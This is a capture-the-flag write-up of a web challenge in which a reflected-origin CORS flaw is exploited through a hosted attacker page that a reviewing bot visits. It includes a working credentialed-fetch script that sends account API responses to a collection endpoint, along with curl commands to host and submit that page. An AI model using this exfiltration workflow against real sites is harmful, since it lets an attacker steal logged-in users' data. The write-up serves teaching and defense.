Writeup · Cyberweek Africa 2026 - National CTF (Finals)

DataBridge

webmediumsolvedFlag: FLAG{REDACTED}

Overview

DataBridge is a web/API challenge involving a partner-data API and an attacker-controlled page sandbox. The sandbox allows HTML to be hosted at /p/<id> and provides a capture endpoint for collecting data sent by a hosted page. The target also provides a share feature that submits an external URL for an agent to review.

The recovered flag is consistent with a reflected-origin CORS vulnerability. The capture output explicitly recorded the flag under channel pwn23027 at 13:21:20. However, the shell history and capture excerpt do not preserve the exact successful HTML payload or the request that delivered the flag. This writeup records the confirmed reconnaissance and evidence without inventing missing exploit steps.

Recon

TLS certificate mismatch

A normal request to the target failed certificate verification because the certificate subject was app, which did not match chal2.hackathon.ke.

For this CTF endpoint, curl -k allowed testing to continue:

BASE='https://chal2.hackathon.ke:8016'
curl -k "$BASE/"

Authenticate with the demo account

The challenge provided demo credentials. The session was saved to a cookie jar so subsequent requests could reuse it. Credentials are intentionally omitted and replaced with placeholders below.

curl -sk -i -c cookies.txt \
  "$BASE/api/login" \
  -H 'Content-Type: application/json' \
  -X POST \
  --data '{"username":"<demo-user>","password":"<demo-password>"}'

The session was then checked against the user and account endpoints:

curl -sk -i -b cookies.txt "$BASE/api/me"
curl -sk -i -b cookies.txt "$BASE/api/account"

The authenticated account response contained an email, a plan, a role, and a releaseToken value:

{
  "email": "redacted@example.com",
  "plan": "free",
  "releaseToken": "<DECOY-TOKEN>",
  "role": "user"
}

The releaseToken value was a decoy, not the recovered challenge flag.

Inspect the share endpoint

The application exposed a share endpoint that accepted an absolute HTTP(S) URL and returned a review acknowledgement.

curl -sk -i -b cookies.txt \
  -H 'Content-Type: application/json' \
  -X POST "$BASE/api/share" \
  --data '{"url":"https://example.com/"}'

A relative path was rejected because an HTTP(S) URL was required. An absolute URL hosted on the attacker sandbox was accepted. The response indicated that an agent would review the submitted link:

{
  "id": 31,
  "note": "an agent will review your link shortly",
  "ok": true
}

Inspect the attacker sandbox

The sandbox exposed three relevant functions:

  • POST /host — submit HTML to host at /p/<id>.
  • GET /collect?c=<channel>&d=<data> — submit captured data to a channel.
  • GET /captures?c=<channel> — inspect captured entries, optionally filtered by channel.

A simple hosting request used this JSON shape:

{
  "html": "<!doctype html><html><body><h1>Probe</h1></body></html>"
}

An earlier successful hosting response returned an ID and a path such as /p/018f539c. Later requests to /host timed out, and a previously returned page ID produced a 404. These later failures suggest intermittent sandbox behavior; they do not erase the earlier capture evidence.

Probe CORS behavior

A CORS preflight request was sent with an untrusted origin to see how the application responded:

curl -sk -i -X OPTIONS "$BASE/api/account" \
  -H 'Origin: https://evil.example' \
  -H 'Access-Control-Request-Method: GET'

For a complete write-up, the relevant response headers to record are:

  • Access-Control-Allow-Origin
  • Access-Control-Allow-Credentials
  • Access-Control-Allow-Methods
  • Access-Control-Allow-Headers
  • Vary: Origin

Exploitation

Host attacker-controlled HTML and submit for review

A proof-of-concept page was created to run in the attacker sandbox’s origin and request the target API from the browser. The page attempted to fetch /api/me and /api/account with credentials included, then report the status and response body to the sandbox’s capture endpoint:

(async () => {
  const channel = 'db-' + Date.now();

  async function capture(label, data) {
    const payload = JSON.stringify({ label, data });
    await fetch('/collect?c=' + encodeURIComponent(channel) + '&d=' + encodeURIComponent(payload), {
      mode: 'no-cors',
    });
  }

  for (const path of ['/api/me', '/api/account']) {
    try {
      const response = await fetch('https://chal2.hackathon.ke:8016' + path, {
        credentials: 'include',
      });
      await capture(path, {
        status: response.status,
        body: await response.text(),
      });
    } catch (error) {
      await capture(path, { error: String(error) });
    }
  }
})();

The HTML was serialized into JSON and submitted to POST /host:

python3 - <<'PY'
import json

with open("poc.html", encoding="utf-8") as f:
    html = f.read()

with open("payload.json", "w", encoding="utf-8") as f:
    json.dump({"html": html}, f)

print("PoC prepared.")
PY

curl -sS \
  -X POST 'http://chal2.hackathon.ke:8816/host' \
  -H 'Content-Type: application/json' \
  --data-binary @payload.json

The hosted page was then submitted to the target’s share endpoint for agent review:

curl -sk -i -b cookies.txt \
  -H 'Content-Type: application/json' \
  -X POST "$BASE/api/share" \
  --data '{"url":"http://chal2.hackathon.ke:8816/p/<hosted-page-id>"}'

The credentials: 'include' option asks the browser to include eligible credentials in cross-origin requests. However, it does not override cookie restrictions, guarantee that a session cookie will be sent, or bypass CORS.

Inspect captures

The hosted page, the capture endpoint, and the capture list were checked:

SANDBOX='http://chal2.hackathon.ke:8816'

printf '\n=== Sandbox root ===\n'
curl -si "$SANDBOX/"

printf '\n=== Hosted page ===\n'
curl -si "$SANDBOX/p/<hosted-page-id>"

printf '\n=== Captures ===\n'
curl -sS "$SANDBOX/captures"

These checks answer three different questions:

Check What it tells you
Sandbox root Whether the sandbox web service responds
/p/<id> Whether the submitted HTML page is actually served
/captures Whether the sandbox has received any captured data

The hosted page’s 404 response was a problem with reproducing the PoC at that point. It did not establish that every earlier submission had failed.

Initial captures reported {"error":"not signed in"} and status 401 for /api/me and /api/account. Those results indicate that the browser execution path tested did not have an authenticated session accepted by those endpoints. They are meaningful results, not evidence of successful account-data theft.

Other diagnostic entries such as LOAD_IMG, JS_RAN, and postMessage ping tests confirmed that the hosted page loaded and JavaScript ran, but they are not themselves proof of successful account-data theft.

Investigate the review agent replay mechanism

Captured output included hosted URLs with a replay parameter:

/p/a1b42faf?replay=W3sid2FpdCI6IDMwMDB9LCB7ImNsaWNrIjogIiNhY2N0In0sIHsid2FpdCI6IDIwMDB9XQ==

The Base64 value decodes to:

[{ "wait": 3000 }, { "click": "#acct" }, { "wait": 2000 }]

A later replay value decodes to:

[
  { "wait": 3000 },
  { "click": "#acct" },
  { "wait": 1500 },
  { "fill": "#url", "value": "http://chal2.hackathon.ke:8816/p/40a270f6" },
  { "click": "#share" },
  { "wait": 3000 }
]

These show that the replay mechanism could perform delayed clicks and fill fields in the target page. Tests that attempted to fill login and URL fields reported that selectors such as #u, #p, #login, #url, and #share were not found in the page context being inspected. This suggests that at least one of those tests ran in the wrong page context, at the wrong time, or against selectors that did not match the rendered page.

These are described as diagnostic attempts. They are not claimed to have produced the flag unless that exact sequence can be connected to the successful capture.

Recover the flag

The decisive evidence is this entry in the capture list:

channel: pwn23027
timestamp: 13:21:20
data: FLAG{REDACTED}

This entry contains the flag directly.

Interpret the vulnerability

The flag name points to CORS reflected-origin theft. In a vulnerable configuration, an API may reflect a supplied Origin value into Access-Control-Allow-Origin and permit credentialed requests with Access-Control-Allow-Credentials: true. If the browser sends eligible credentials and allows the attacker’s origin to read the response, JavaScript can access sensitive response data.

A representative unsafe response would look like:

Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: true

This is an explanatory example, not a captured response from the challenge. The supplied evidence does not include the target’s actual CORS response headers, so the exact server-side configuration remains unverified.

Flag

FLAG{REDACTED}

The recovered value was recorded by the sandbox under channel pwn23027 at 13:21:20. The flag is masked here to comply with the vault’s writeup rules.

Lessons / Takeaways

  • Inspect the browser-facing workflow. A URL-review feature can create a security boundary between an authenticated application and an externally controlled page.
  • Treat CORS as an authorization boundary. Do not reflect arbitrary origins when allowing credentialed access to sensitive API responses.
  • Validate credential behavior in the actual browser context. A request made with credentials: "include" does not guarantee that a session cookie will be sent or that JavaScript can read the response.
  • Separate network access from response readability. A cross-origin request can reach a server while the browser still blocks the response from JavaScript.
  • Use capture channels to debug asynchronous browser execution. Small markers can distinguish a page-load failure from a request failure or an API response.
  • Preserve the successful payload. Save the exact HTML, hosted-page ID, share response, relevant response headers, and capture output when the exploit succeeds.
  • Account for unreliable infrastructure. A later hosting timeout or 404 should be investigated separately from earlier successful capture evidence.
  • Do not trust apparent flags in application data. The releaseToken value was a decoy; the actual flag appeared in the sandbox captures.

Techniques

  • CORS
  • Reflected Origin
  • Credentialed Requests
  • Browser-Based Data Exfiltration
  • Attacker-Controlled Hosting
  • CyberWeek 2026